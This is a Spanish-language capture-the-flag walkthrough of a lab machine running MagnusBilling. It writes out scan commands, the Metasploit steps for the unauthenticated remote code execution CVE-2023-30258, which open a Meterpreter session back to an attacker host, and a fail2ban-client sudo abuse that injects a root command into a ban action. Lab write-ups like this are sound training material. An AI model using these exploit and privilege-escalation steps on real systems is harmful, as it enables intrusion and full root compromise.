🧠 Recorrido de la Sala: Billing

Escrito por: Aditya Bhatt | Colaborador de Código Abierto

📦 Resumen

En este recorrido, nos lanzamos de lleno a la Sala Billing, mostrando una instancia vulnerable de MagnusBilling, un jugoso RCE sin autenticación (CVE-2023-30258) y una mala configuración de sudo en fail2ban que grita “rootéame”.

Esta sala combina hermosamente la explotación automatizada con la escalada de privilegios creativa, dándonos una muestra práctica de fallos del mundo real escondidos en software de facturación VoIP. Iremos desde el Reconocimiento Inicial hasta la Shell Root con PoC completo, comentarios y vibras 🗿.

🌐 Paso 1: Fase de Enumeración

🏁 Aterrizaje Inicial

Después de desplegar la máquina, lo primero que te golpea como un firewall mal configurado:

http://<machine_IP>/mbilling/

Esta es la página de inicio de sesión de MagnusBilling. Eso solo activa las alarmas — sabes que te espera un jugoso juego de CVEs.

🔍 Reconocimiento Profundo con Nmap + Gobuster

Empezamos con el combo de reconocimiento definitivo:

nmap -A -sV -p- 10.10.115.173

🧠 Hallazgos:

• Puerto 5038 – Asterisk Call Manager/2.10.6
• Otros servicios HTTP están disponibles en /mbilling/

A continuación, hacemos fuerza bruta total con Gobuster:

gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt

🧠 Hallazgos:

• robots.txt

🏗️ robots.txt

Luego revisamos el robots.txt del sitio en busca de algo picante:

User-agent: *
Disallow: /mbilling/

Hmm… tratar de ocultarlo solo nos dan más ganas 😈

🔌 Paso 2: Explotación

🔥 Puerto 5038 – Asterisk Manager

Una prueba rápida con netcat confirma que responde con:

Response: Error
Message: Missing action in request

Lo que confirma aún más: el backend es MagnusBilling, y el puerto está vinculado con Asterisk Call Manager. Hora de invocar nuestras artes oscuras 🧙

⚔️ Arma Elegida: CVE-2023-30258

Exploit: Ejecución Remota de Código Sin Autenticación en MagnusBilling Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Inicia Metasploit:

msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Luego verifica los requisitos:

show options

Luego configura lo siguiente:

set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run

Unos segundos después… Boom. ¡Conseguimos una sesión de Meterpreter!

shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64

Intentamos lanzar una shell TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

🧭 Paso 3: Enumeración de Usuario

Empezamos a subir directorios con:

cd ..
cd ..

Hasta que encontramos:

cd /home/magnus
cat user.txt

¡Bien! Pero no hemos terminado. Necesitamos root, y Magnus nos está susurrando secretos.

🧨 Paso 4: Escalada de Privilegios

Revisemos qué podemos ejecutar con sudo:

sudo -l

Resultado:

(ALL) NOPASSWD: /usr/bin/fail2ban-client

Ahora esto es 🔥. Podemos abusar de fail2ban-client para ejecutar comandos como root usando acciones de baneo.

🎯 Abuso de Fail2Ban → Shell Root

Reiniciemos fail2ban:

sudo /usr/bin/fail2ban-client restart

Luego inyectamos el comando para robar la flag de root:

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"

Dispara el baneo (y por lo tanto el comando):

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

Luego:

cat /tmp/root.txt

Rooteado. Como. Un. Jefe. 🗿🔥

✅ Tabla de Resumen Final

🧠 Lo Que Aprendiste (también conocido como Sabiduría Semi-Pro)

1. 🔍 El reconocimiento no es solo escanear – Busca páginas ocultas, revisa robots.txt e indaga en puertos extraños.
2. 💣 Explota CVEs conocidos – MagnusBilling era vulnerable a un exploit público (CVE-2023-30258).
3. 🔓 La escalada de privilegios no siempre implica exploits del kernel – Los derechos sudo mal configurados (como en fail2ban-client) son igual de peligrosos.
4. ⚙️ La creatividad importa – Omitir restricciones de usuario con acciones de baneo demuestra pensamiento lateral del mundo real.

🗿 Palabras Finales

Esta máquina fue un hermoso equilibrio entre explotación automatizada y creatividad manual post-explotación. Desde el RCE en MagnusBilling hasta el rooteo via fail2ban, toca todas las notas correctas para la lista de reproducción de un pentester 🎧🎯

Ya seas un principiante buscando mejorar o un guerrero experimentado recolectando flags — esta es una obligación de pwn.

Hasta la próxima, Mantente Peligroso. Mantente Curioso. Mantente Majestuoso. 🗿